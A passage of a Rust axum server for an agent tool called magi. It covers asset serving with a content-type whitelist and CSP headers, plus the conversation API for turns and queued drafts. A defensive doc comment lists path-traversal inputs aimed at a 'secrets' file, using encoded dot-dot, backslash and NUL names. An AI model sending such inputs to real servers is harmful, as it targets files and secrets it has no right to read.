6169/// what is worth being explicit about, because the answer is not "all of it in
6170/// one place":
6171///
6172/// * `asset/../../secrets` never reaches this handler at all. axum matches on
6173///   the raw request path and `{name}` spans exactly one segment, so a real
6174///   slash makes the request too long for the route and the router answers 404.
6175/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
6176///   percent-decodes path parameters, so `name` arrives as `../secrets` and
6177///   `..\secrets` respectively, which look like plain filenames to the router.
6178///   The validator refuses them here - both for the literal `..` and because
6179///   `/` and `\` are not in the permitted character set - and answers 400.
6180/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
6181///   the platform's path API is not, and it is refused here for the same
6182///   reason: NUL is not a permitted character.
6183/// * [`Questions::panel_asset`] validates again on read, so the check is not
6184///   load-bearing in only one place. This route's own check exists so the
6185///   failure is a 400 that says which name was wrong, rather than a store error
6186///   the operator has to interpret.
6187async fn question_asset(
6188    State(ui): State<Arc<Ui>>,
6189    Path((id, name)): Path<(String, String)>,
6190) -> ApiResult<Response> {
6191    // Before any filesystem work and before any path is built: a name this
6192    // server will not serve should not become a `PathBuf` at all.
6193    if !crate::ask::valid_asset_name(&name) {
6194        return Err(ApiError::bad_request(format!(
6195            "`{name}` is not a usable asset name"
6196        )));
6197    }
6198    blocking(move || {
6199        let id = resolve_question(&ui.questions, &id)?;
6200        let asset = ui
6201            .questions
6202            .panel_asset(&id, &name)
6203            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6204        let Some(bytes) = asset else {
6205            return Err(ApiError::not_found(format!(
6206                "question {id} has no asset `{name}`"
6207            )));
6208        };
6209        Ok(panel_response(
6210            asset_content_type(&name),
6211            is_svg(&name),
6212            bytes,
6213        ))
6214    })
6215    .await
6216}
6217
6218/// Content type for a panel asset, from a closed whitelist.
6219///
6220/// A whitelist with an `application/octet-stream` fallback rather than a
6221/// guess, because the one answer that must never come out of here is
6222/// `text/html`. An agent that writes `notes.html` into its panel directory and
6223/// links it would otherwise get its own markup rendered at the top level of the
6224/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
6225/// magi's origin - which is precisely the thing the panel design exists to
6226/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
6227///
6228/// `nosniff` accompanies this on every response, so a browser cannot decide it
6229/// knows better than the type we sent.
6230fn asset_content_type(name: &str) -> &'static str {
6231    match extension(name).as_deref() {
6232        Some("png") => "image/png",
6233        Some("jpg" | "jpeg") => "image/jpeg",
6234        Some("gif") => "image/gif",
6235        Some("webp") => "image/webp",
6236        Some("svg") => "image/svg+xml",
6237        Some("css") => "text/css; charset=utf-8",
6238        Some("txt") => "text/plain; charset=utf-8",
6239        _ => "application/octet-stream",
6240    }
6241}
6242
6243/// Is this an SVG, and therefore a file that must never be opened at the top
6244/// level?
6245fn is_svg(name: &str) -> bool {
6246    extension(name).as_deref() == Some("svg")
6247}
6248
6249/// Lowercased extension, or `None` for a name without one.
6250fn extension(name: &str) -> Option<String> {
6251    name.rsplit_once('.')
6252        .map(|(_, ext)| ext.to_ascii_lowercase())
6253}
6254
6255/// Every panel response, with the four headers that make it safe and, for an
6256/// SVG, a fifth.
6257///
6258/// One function rather than a header list per handler, because a panel route
6259/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
6260/// model gone, silently, on one of two routes. Adding a third panel route later
6261/// means calling this, and there is nowhere else to build a panel response.
6262///
6263/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
6264/// as an `<img src>` inside the panel that script cannot run - but the asset
6265/// URL is also a plain URL an operator can be talked into opening in a tab,
6266/// where it is a document on magi's own origin. `Content-Disposition:
6267/// attachment` makes the browser download it instead of rendering it, which
6268/// closes that door without taking away the ability to draw a diff. Raster
6269/// images have no such execution surface and are left inline, so tapping a
6270/// screenshot still shows it.
6271fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6272    let mut res = (
6273        [
6274            (header::CONTENT_TYPE, content_type),
6275            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6276            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6277            (header::REFERRER_POLICY, "no-referrer"),
6278        ],
6279        body,
6280    )
6281        .into_response();
6282    if download {
6283        res.headers_mut().insert(
6284            header::CONTENT_DISPOSITION,
6285            HeaderValue::from_static("attachment"),
6286        );
6287    }
6288    res
6289}
6290
6291/// A talk as the phone reads it.
6292///
6293/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
6294/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
6295/// parses markdown itself - and the process-local `thinking` hint.
6296#[derive(Debug, Serialize)]
6297struct TalkView {
6298    #[serde(flatten)]
6299    talk: Talk,
6300    turn_bodies_md: Vec<Vec<md::Node>>,
6301    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
6302    /// this server process.
6303    ///
6304    /// This is deliberately not durable: another server process cannot see
6305    /// it, and a restarted server must not claim an old turn is live. It is a
6306    /// progress hint rather than proof a reply landed; the transcript remains
6307    /// the source of truth for that.
6308    thinking: bool,
6309    /// Context-window usage, derived per request - see
6310    /// [`talk::context_usage`]. Carried on every talk response (list, detail
6311    /// and each mutation) so the phone needs no extra call or polling.
6312    context: talk::ContextUsage,
6313    /// `[talk] operator_name`, when configured; the Chat labels the
6314    /// operator's turns with it.
6315    operator_name: Option<String>,
6316    /// The active persona's display name; `None` for the default voice.
6317    persona_name: Option<String>,
6318}
6319
6320impl TalkView {
6321    /// Reads the talk's repository config itself; a config that cannot be
6322    /// read leaves the window unknown but never fails the conversation.
6323    fn new(talk: Talk, thinking: bool) -> Self {
6324        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6325        Self::with_config(talk, thinking, cfg.as_ref())
6326    }
6327
6328    /// As [`Self::new`], with the config already in hand (the list reads one
6329    /// per repository, not one per conversation).
6330    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6331        let context = talk::context_usage(&talk, cfg);
6332        let turn_bodies_md = talk
6333            .turns
6334            .iter()
6335            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6336            .collect();
6337        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6338        let persona_name = persona::find(specs, &talk.persona)
6339            .filter(|p| !p.is_default())
6340            .map(|p| p.name);
6341        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6342        Self {
6343            turn_bodies_md,
6344            thinking,
6345            context,
6346            operator_name,
6347            persona_name,
6348            talk,
6349        }
6350    }
6351}
6352
6353/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
6354/// conversation has filed, so the phone can follow one from inside the
6355/// conversation that asked for it rather than hunting the Queue for a task id
6356/// it may not remember.
6357#[derive(Debug, Serialize)]
6358struct TalkDetailView {
6359    #[serde(flatten)]
6360    view: TalkView,
6361    tasks: Vec<TaskView>,
6362    /// The agents this talk's repository can switch to; empty when its
6363    /// configuration cannot be read, which must not fail the whole detail.
6364    roster: Vec<RosterEntry>,
6365    /// The personas the conversation can pick from. The built-ins are always
6366    /// listed, even when the repository's configuration cannot be read.
6367    personas: Vec<PersonaEntry>,
6368}
6369
6370/// One persona as the talk's persona selector shows it.
6371#[derive(Debug, Serialize)]
6372struct PersonaEntry {
6373    id: String,
6374    name: String,
6375}
6376
6377/// One roster agent as the talk's agent selector shows it.
6378#[derive(Debug, Serialize)]
6379struct RosterEntry {
6380    id: String,
6381    kind: AgentKind,
6382    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
6383    runnable: bool,
6384}
6385
6386/// `GET /api/talks`.
6387///
6388/// Every conversation, open ones first and newest first - [`Talks::list`]'s
6389/// own order.
6390async fn talks_list(
6391    State(ui): State<Arc<Ui>>,
6392    Query(q): Query<ListQuery>,
6393) -> ApiResult<Json<Vec<TalkView>>> {
6394    blocking(move || {
6395        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6396        Ok(Json(
6397            ui.talks
6398                .list()
6399                .into_iter()
6400                .filter(|talk| q.contains(&talk.id))
6401                .map(|talk| {
6402                    let thinking = ui.is_thinking(&talk.id);
6403                    let cfg = configs
6404                        .entry(talk.repo.clone())
6405                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6406                    TalkView::with_config(talk, thinking, cfg.as_ref())
6407                })
6408                .collect(),
6409        ))
6410    })
6411    .await
6412}
6413
6414/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
6415/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
6416/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
6417/// end still opens a talk against an older binary.
6418#[derive(Debug, Default, Deserialize)]
6419#[serde(default)]
6420struct NewTalk {
6421    agent: Option<String>,
6422    repo: Option<PathBuf>,
6423    /// Remembered choices from the browser. Soft: kept as raw JSON so a
6424    /// wrong type is dropped like a stale value instead of failing the request;
6425    /// each falls back to its default on its own (see [`talk::begin_with`]).
6426    preferred_agent: Option<serde_json::Value>,
6427    persona: Option<serde_json::Value>,
6428    implementers: Option<serde_json::Value>,
6429}
6430
6431/// `POST /api/talks` - open a conversation. Takes no agent turn: see
6432/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
6433async fn talk_post(
6434    State(ui): State<Arc<Ui>>,
6435    body: std::result::Result<Json<NewTalk>, JsonRejection>,
6436) -> ApiResult<impl IntoResponse> {
6437    // An absent body, or an empty one, is the normal way to open a talk - see
6438    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
6439    // rather than refused.
6440    let body = match body {
6441        Ok(Json(body)) => body,
6442        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6443        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6444    };
6445    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6446    let cfg = config_for(&repo).await?;
6447    let view = blocking(move || {
6448        let preferred = talk::Preferred {
6449            agent: body
6450                .preferred_agent
6451                .as_ref()
6452                .and_then(|v| v.as_str())
6453                .map(str::to_owned),
6454            persona: body
6455                .persona
6456                .as_ref()
6457                .and_then(|v| v.as_str())
6458                .map(str::to_owned),
6459            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6460        };
6461        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6462        let thinking = ui.is_thinking(&talk.id);
6463        Ok(TalkView::new(talk, thinking))
6464    })
6465    .await?;
6466    Ok((StatusCode::CREATED, Json(view)))
6467}
6468
6469/// `GET /api/talks/{id}`.
6470async fn talk_detail(
6471    State(ui): State<Arc<Ui>>,
6472    Path(id): Path<String>,
6473) -> ApiResult<Json<TalkDetailView>> {
6474    blocking(move || {
6475        let id = resolve_talk(&ui.talks, &id)?;
6476        let talk = ui.talks.get(&id)?;
6477        let thinking = ui.is_thinking(&talk.id);
6478        let tasks = talk::tasks_of(&ui.queue, &talk.id)
6479            .into_iter()
6480            .map(TaskView::from)
6481            .collect();
6482        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6483        let roster = cfg
6484            .as_ref()
6485            .map(|cfg| {
6486                cfg.agents
6487                    .iter()
6488                    .map(|a| RosterEntry {
6489                        id: a.id.clone(),
6490                        kind: a.kind,
6491                        runnable: agent::installed(a),
6492                    })
6493                    .collect()
6494            })
6495            .unwrap_or_default();
6496        let specs = cfg
6497            .as_ref()
6498            .map(|cfg| cfg.talk.personas.clone())
6499            .unwrap_or_default();
6500        let personas = persona::catalog(&specs)
6501            .into_iter()
6502            .map(|p| PersonaEntry {
6503                id: p.id,
6504                name: p.name,
6505            })
6506            .collect();
6507        Ok(Json(TalkDetailView {
6508            view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6509            tasks,
6510            roster,
6511            personas,
6512        }))
6513    })
6514    .await
6515}
6516
6517/// The body of `POST /api/talks/{id}/say`.
6518///
6519/// `attachments` names ids `POST /api/talks/{id}/attachments` already
6520/// returned - never bytes of its own - so a turn with no images just omits
6521/// the field, which is what an older front end still does.
6522#[derive(Debug, Default, Deserialize)]
6523#[serde(default, deny_unknown_fields)]
6524struct NewTalkTurn {
6525    text: String,
6526    attachments: Vec<String>,
6527}
6528
6529#[derive(Debug, Deserialize)]
6530#[serde(deny_unknown_fields)]
6531struct EditTalkPending {
6532    text: String,
6533    expected_text: String,
6534    expected_attachments: Vec<String>,
6535}
6536
6537#[derive(Debug, Deserialize)]
6538#[serde(deny_unknown_fields)]
6539struct ClearTalkPending {
6540    expected_text: String,
6541    expected_attachments: Vec<String>,
6542}
6543
6544/// `POST /api/talks/{id}/say` - one turn of the conversation.
6545///
6546/// Not filesystem work, and therefore not routed through [`blocking`]: this
6547/// route spawns an agent CLI and a turn here can run for the whole of
6548/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
6549/// research turn is expected to run commands rather than answer from what it
6550/// already knows. Holding an HTTP connection open that long is not a thing
6551/// to ask a phone to do; the operator's message is recorded and answered for
6552/// immediately, and the reply lands in the background, discovered through
6553/// the change stream's `talks_rev` the same way every other update on this
6554/// surface is.
6555async fn talk_say(
6556    State(ui): State<Arc<Ui>>,
6557    Path(id): Path<String>,
6558    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6559) -> ApiResult<(StatusCode, Json<TalkView>)> {
6560    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6561    if body.text.trim().is_empty() && body.attachments.is_empty() {
6562        return Err(ApiError::bad_request("say something"));
6563    }
6564
6565    let id = {
6566        let ui = Arc::clone(&ui);
6567        let asked = id.clone();
6568        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6569    };
6570    // A closed Talk never accepts a new immediate or queued turn. Check this
6571    // before claiming a slot so its ordinary domain refusal is a 409, not an
6572    // incidental failure from the later record/queue write.
6573    {
6574        let ui = Arc::clone(&ui);
6575        let id = id.clone();
6576        blocking(move || {
6577            let talk = ui.talks.get(&id)?;
6578            if !talk.status.open() {
6579                return Err(ApiError::conflict(format!(
6580                    "talk {} is {} and takes no more turns",
6581                    talk.short(),
6582                    talk.status.as_str()
6583                )));
6584            }
6585            Ok(())
6586        })
6587        .await?;
6588    }
6589
6590    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
6591    // actually stores, before anything is written - an unknown id is a 4xx
6592    // that names it rather than a turn (or a queued draft) silently missing
6593    // an image.
6594    let attachments = {
6595        let ui = Arc::clone(&ui);
6596        let id = id.clone();
6597        let ids = body.attachments.clone();
6598        blocking(move || {
6599            ids.into_iter()
6600                .map(|att_id| {
6601                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6602                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6603                    })
6604                })
6605                .collect::<ApiResult<Vec<talk::Attachment>>>()
6606        })
6607        .await?
6608    };
6609
6610    // Pending recovery and a new immediate turn are decided under the same
6611    // claim lock. Without that one critical section, a second `/say` can see
6612    // the first request's claim as "busy" and append itself to the recovered
6613    // draft before the first request rejects it.
6614    let start = {
6615        let ui = Arc::clone(&ui);
6616        let id = id.clone();
6617        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6618    };
6619    let turn_guard = match start {
6620        TalkTurnStart::Claimed(turn_guard) => turn_guard,
6621        TalkTurnStart::Pending => {
6622            return Err(ApiError::conflict(
6623                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6624            ));
6625        }
6626        TalkTurnStart::Foreign => {
6627            return Err(ApiError::conflict(
6628                "a turn is already running in another process; try again when it has finished",
6629            ));
6630        }
6631        TalkTurnStart::Busy => {
6632            // A turn is already running: queue rather than refuse. See
6633            // `Ui::begin_talk_turn` and `talk::queue`.
6634            //
6635            // The queue write and the drain it may owe live inside the task
6636            // `tokio::spawn` hands to the runtime, for the same reason the
6637            // immediate path below puts `record` there: a dropped handler
6638            // future must not be able to land between a durable write and
6639            // the task that answers it. `blocking` runs its closure on
6640            // `spawn_blocking`, which finishes whether or not anyone is left
6641            // to receive its result - so a disconnect at the `.await` below
6642            // would otherwise leave the draft persisted and the reclaimed
6643            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
6644            // ever started and the queued text stranded until some later
6645            // `say` happened to pick it up. The caller's 202 travels back
6646            // over a `oneshot`, sent the moment the write lands.
6647            let (tx, rx) = tokio::sync::oneshot::channel();
6648            tokio::spawn({
6649                let ui = Arc::clone(&ui);
6650                let id = id.clone();
6651                let said = body.text.clone();
6652                async move {
6653                    let written = blocking({
6654                        let ui = Arc::clone(&ui);
6655                        let id = id.clone();
6656                        move || {
6657                            let mut talk = ui.talks.get(&id)?;
6658                            // A test-only stop point, right before the write
6659                            // an interleaving test needs to pin - see
6660                            // `BusyQueueGate`. `None` in every real server:
6661                            // the field only exists under `#[cfg(test)]`.
6662                            #[cfg(test)]
6663                            if let Some(gate) = ui
6664                                .busy_queue_gate
6665                                .lock()
6666                                .unwrap_or_else(PoisonError::into_inner)
6667                                .take()
6668                            {
6669                                let _ = gate.reached.send(());
6670                                let _ = gate.release.recv();
6671                            }
6672                            if let Err(error) =
6673                                talk::queue(&mut talk, &ui.talks, &said, attachments)
6674                            {
6675                                if let Ok(fresh) = ui.talks.get(&id) {
6676                                    if !fresh.status.open() {
6677                                        return Err(ApiError::conflict(format!(
6678                                            "talk {} is {} and takes no more turns",
6679                                            fresh.short(),
6680                                            fresh.status.as_str()
6681                                        )));
6682                                    }
6683                                }
6684                                return Err(ApiError::from(error));
6685                            }
6686                            // The turn that looked busy a moment ago can have
6687                            // finished, found nothing to drain and given up the
6688                            // slot in the gap between that check and this write
6689                            // landing - see `drain_loop`'s own doc for the other
6690                            // half of why that gap would otherwise be able to
6691                            // open at all. Reclaiming the slot here, rather than
6692                            // trusting that whoever held it is still watching, is
6693                            // what stops the text just queued from being stranded
6694                            // until an unrelated future `say` happens to drain
6695                            // it.
6696                            let claim = match ui.begin_queued_talk_turn(&id)? {
6697                                Some(turn_guard) => {
6698                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6699                                    Some((talk.clone(), cfg, turn_guard))
6700                                }
6701                                None => None,
6702                            };
6703                            let thinking = ui.is_thinking(&id);
6704                            Ok((TalkView::new(talk, thinking), claim))
6705                        }
6706                    })
6707                    .await;
6708                    let (view, reclaimed) = match written {
6709                        Ok(pair) => pair,
6710                        Err(e) => {
6711                            // Nobody is listening if the handler's own future
6712                            // was already dropped - that is fine, nothing was
6713                            // persisted and there is no response left to carry
6714                            // this error to.
6715                            let _ = tx.send(Err(e));
6716                            return;
6717                        }
6718                    };
6719                    // If this fails, the caller is gone; the drain below still
6720                    // runs exactly as it would have for a caller that stayed.
6721                    let _ = tx.send(Ok(view));
6722                    if let Some((talk, cfg, turn_guard)) = reclaimed {
6723                        let talks = ui.talks.clone();
6724                        drain_loop(talk, talks, cfg, id, turn_guard).await;
6725                    }
6726                }
6727            });
6728            let view = rx
6729                .await
6730                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6731            return Ok((StatusCode::ACCEPTED, Json(view)));
6732        }
6733    };
6734
6735    let (talk, cfg) = {
6736        let ui = Arc::clone(&ui);
6737        let id = id.clone();
6738        blocking(move || {
6739            let talk = ui.talks.get(&id)?;
6740            let (cfg, _) = Config::discover(&talk.repo, None)?;
6741            Ok((talk, cfg))
6742        })
6743        .await?
6744    };
6745
6746    let talks = ui.talks.clone();
6747    // `record` runs *inside* the spawned task, rather than in this handler
6748    // followed by a separate `tokio::spawn` for `respond` - axum drops this
6749    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
6750    // doc), and that drop can land at any `.await` this function makes,
6751    // including one that has already produced its result but not yet
6752    // resumed. A message could end up recorded on disk with the handler
6753    // future gone before it ever reached the `tokio::spawn` that would have
6754    // started the reply. `tokio::spawn` itself is a plain, synchronous call
6755    // that hands the whole future to the runtime as one unit - once made, no
6756    // later drop of *this* handler's own future (that call's return value is
6757    // never held onto here) can reach back in and stop it, so record and the
6758    // hand-off to `respond` are unconditionally atomic from the client's
6759    // point of view. The immediate response this handler owes the caller
6760    // travels back over a `oneshot`, sent the moment `record` succeeds.
6761    let (tx, rx) = tokio::sync::oneshot::channel();
6762    tokio::spawn({
6763        let ui = Arc::clone(&ui);
6764        let talks = talks.clone();
6765        let id = id.clone();
6766        let said = body.text.clone();
6767        let mut talk = talk.clone();
6768        async move {
6769            let recorded = blocking({
6770                let talks = talks.clone();
6771                move || {
6772                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6773                        if let Ok(fresh) = talks.get(&talk.id) {
6774                            if !fresh.status.open() {
6775                                return Err(ApiError::conflict(format!(
6776                                    "talk {} is {} and takes no more turns",
6777                                    fresh.short(),
6778                                    fresh.status.as_str()
6779                                )));
6780                            }
6781                        }
6782                        return Err(ApiError::from(error));
6783                    }
6784                    // `record` mutates `talk` in place to the freshly persisted
6785                    // state (status, pending, and the just-appended operator
6786                    // turn), so returning it here is equivalent to re-reading it
6787                    // from disk - without the extra round trip a re-read would
6788                    // need.
6789                    Ok((said.trim().to_owned(), talk))
6790                }
6791            })
6792            .await;
6793            let (text, mut talk) = match recorded {
6794                Ok(pair) => pair,
6795                Err(e) => {
6796                    // Nobody is listening if the handler's own future was
6797                    // already dropped - that is fine, there is no response
6798                    // left to carry this error to and nothing was persisted.
6799                    let _ = tx.send(Err(e));
6800                    return;
6801                }
6802            };
6803            let queued = talk.clone();
6804            let thinking = ui.is_thinking(&id);
6805            // If this fails, the caller is gone; the turn still runs below
6806            // exactly as it would have for a caller that stayed connected.
6807            let _ = tx.send(Ok((queued, thinking)));
6808
6809            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6810                // `respond` records the failure in the transcript itself,
6811                // which is what the phone reads; this line is for the
6812                // operator's terminal.
6813                tracing::warn!("talk {id} turn failed: {e:#}");
6814            }
6815            // Anything `talk::queue` added while the turn above was running
6816            // is still owed an answer - see `drain_loop`.
6817            drain_loop(talk, talks, cfg, id, turn_guard).await;
6818        }
6819    });
6820
6821    let (queued, thinking) = rx
6822        .await
6823        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6824
6825    // 202: the operator's message is recorded and a turn is running.
6826    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6827}
6828
6829/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
6830/// changing it. The turn guard is the same per-talk ownership `talk_say`
6831/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
6832async fn talk_pending_resume(
6833    State(ui): State<Arc<Ui>>,
6834    Path(id): Path<String>,
6835) -> ApiResult<(StatusCode, Json<TalkView>)> {
6836    let id = {
6837        let ui = Arc::clone(&ui);
6838        let asked = id.clone();
6839        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6840    };
6841    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6842        return Err(ApiError::conflict(
6843            "a talk turn is already running; the queued draft will be handled by it",
6844        ));
6845    };
6846    let (talk, cfg) = {
6847        let ui = Arc::clone(&ui);
6848        let id = id.clone();
6849        blocking(move || {
6850            let talk = ui.talks.get(&id)?;
6851            if !talk.status.open() {
6852                return Err(ApiError::conflict(format!(
6853                    "talk {} is {} and takes no more turns",
6854                    talk.short(),
6855                    talk.status.as_str()
6856                )));
6857            }
6858            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6859                return Err(ApiError::conflict("there is no queued draft to resume"));
6860            }
6861            let (cfg, _) = Config::discover(&talk.repo, None)?;
6862            Ok((talk, cfg))
6863        })
6864        .await?
6865    };
6866    let view = TalkView::new(talk.clone(), true);
6867    let talks = ui.talks.clone();
6868    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6869    Ok((StatusCode::ACCEPTED, Json(view)))
6870}
6871
6872/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
6873/// releasing `turn` only once a check finds it truly empty. Shared by both
6874/// callers that can end up owning a talk's turn slot with something already
6875/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
6876/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
6877/// holder just gave up - see the comment at that call site.
6878///
6879/// The release is folded into the final generation check under `turn`'s own
6880/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
6881/// free". Before its blocking `talk::drain`, this loop observes the queued
6882/// generation. A `say` that sees the turn busy writes its draft, then advances
6883/// that generation. Thus, if it lands while the drain is in flight, the final
6884/// check observes the advance and drains again; otherwise it releases the
6885/// claim while holding the same lock. This keeps the release/arrival handoff
6886/// atomic without holding the global claim mutex across filesystem I/O.
6887async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6888    let live_set = Arc::clone(&turn.turns);
6889    // `Option` rather than binding `turn` directly to a `_turn` that lives
6890    // for the whole function: releasing it has to happen by calling
6891    // `TalkTurnGuard::release` from inside the locked branch below, which
6892    // takes `self` by value. Left as a plain drop instead, `Drop` would still
6893    // remove the id - correctly, if this loop is ever left some other way -
6894    // but doing it there misses the lock this loop is already holding, which
6895    // is the exact gap `release` exists to close.
6896    let mut turn = Some(turn);
6897    loop {
6898        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6899            // The lease was taken over while a turn ran. Whatever is queued
6900            // stays a draft; running it here would race the new owner.
6901            tracing::warn!("talk {id} lost its turn lease; not draining further");
6902            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6903            if let Some(turn) = turn.take() {
6904                turn.release(&mut live);
6905            }
6906            break;
6907        }
6908        {
6909            // A parking upgrade starts no further turn: whatever is queued
6910            // stays a durable draft for the successor.
6911            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6912            if live.parking {
6913                if let Some(turn) = turn.take() {
6914                    turn.release(&mut live);
6915                }
6916                break;
6917            }
6918        }
6919        // `talk::drain` takes the store lock and can write/rename the talk
6920        // file. Keep the turn mutex out of that synchronous work: it protects
6921        // every talk's in-memory claim, not this talk's disk operation.
6922        let observed = live_set
6923            .lock()
6924            .unwrap_or_else(PoisonError::into_inner)
6925            .queued
6926            .get(&id)
6927            .copied()
6928            .unwrap_or(0);
6929        let drained = blocking({
6930            let talks = talks.clone();
6931            let live_set = Arc::clone(&live_set);
6932            move || {
6933                // Promoting a draft is what starts a turn, so it is decided
6934                // under the same lock a parking upgrade takes: either the
6935                // promotion lands first (and its turn is waited for) or the
6936                // draft stays queued.
6937                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6938                let result = if live.parking {
6939                    Ok(None)
6940                } else {
6941                    talk::drain(&mut talk, &talks)
6942                };
6943                drop(live);
6944                Ok((talk, result))
6945            }
6946        })
6947        .await;
6948        let (next_talk, result) = match drained {
6949            Ok(drained) => drained,
6950            Err(e) => {
6951                tracing::warn!(
6952                    status = %e.status,
6953                    message = %e.message,
6954                    "talk {id} could not start queued-text drain"
6955                );
6956                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6957                turn.take()
6958                    .expect("held for the whole loop until released here")
6959                    .release(&mut live);
6960                break;
6961            }
6962        };
6963        talk = next_talk;
6964        let drained = match result {
6965            Ok(Some(drained)) => drained,
6966            Ok(None) => {
6967                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6968                if live.queued.get(&id).copied().unwrap_or(0) != observed {
6969                    continue;
6970                }
6971                turn.take()
6972                    .expect("held for the whole loop until released here")
6973                    .release(&mut live);
6974                break;
6975            }
6976            Err(e) => {
6977                tracing::warn!("talk {id} could not drain queued text: {e:#}");
6978                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6979                turn.take()
6980                    .expect("held for the whole loop until released here")
6981                    .release(&mut live);
6982                break;
6983            }
6984        };
6985        let responded = match turn.as_ref() {
6986            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6987            None => Err(anyhow::anyhow!("the turn guard was released")),
6988        };
6989        if let Err(e) = responded {
6990            tracing::warn!("talk {id} turn failed: {e:#}");
6991        }
6992    }
6993}
6994
6995/// Clear a queued draft only if it remains exactly the one the caller saw.
6996async fn talk_pending_clear(
6997    State(ui): State<Arc<Ui>>,
6998    Path(id): Path<String>,
6999    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7000) -> ApiResult<Json<TalkView>> {
7001    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7002    blocking(move || {
7003        let id = resolve_talk(&ui.talks, &id)?;
7004        let mut talk = ui.talks.get(&id)?;
7005        if !talk.status.open() {
7006            return Err(ApiError::conflict(format!(
7007                "talk {} is {} and takes no more turns",
7008                talk.short(),
7009                talk.status.as_str()
7010            )));
7011        }
7012        if !talk::clear_pending_if_matches(
7013            &mut talk,
7014            &ui.talks,
7015            &body.expected_text,
7016            &body.expected_attachments,
7017        )? {
7018            return Err(ApiError::conflict(
7019                "queued message changed; reload it before clearing",
7020            ));
7021        }
7022        let thinking = ui.is_thinking(&talk.id);
7023        Ok(Json(TalkView::new(talk, thinking)))
7024    })
7025    .await
7026}
7027
7028/// Atomically edit a queued draft's text while preserving its attachments.
7029/// The snapshot fields make a concurrent queue or drain a conflict rather
7030/// than silently discarding either message.
7031async fn talk_pending_edit(
7032    State(ui): State<Arc<Ui>>,
7033    Path(id): Path<String>,
7034    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7035) -> ApiResult<Json<TalkView>> {
7036    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7037    let (view, reclaimed) = blocking({
7038        let ui = Arc::clone(&ui);
7039        move || {
7040            let id = resolve_talk(&ui.talks, &id)?;
7041            let mut talk = ui.talks.get(&id)?;
7042            if !talk.status.open() {
7043                return Err(ApiError::conflict(format!(
7044                    "talk {} is {} and takes no more turns",
7045                    talk.short(),
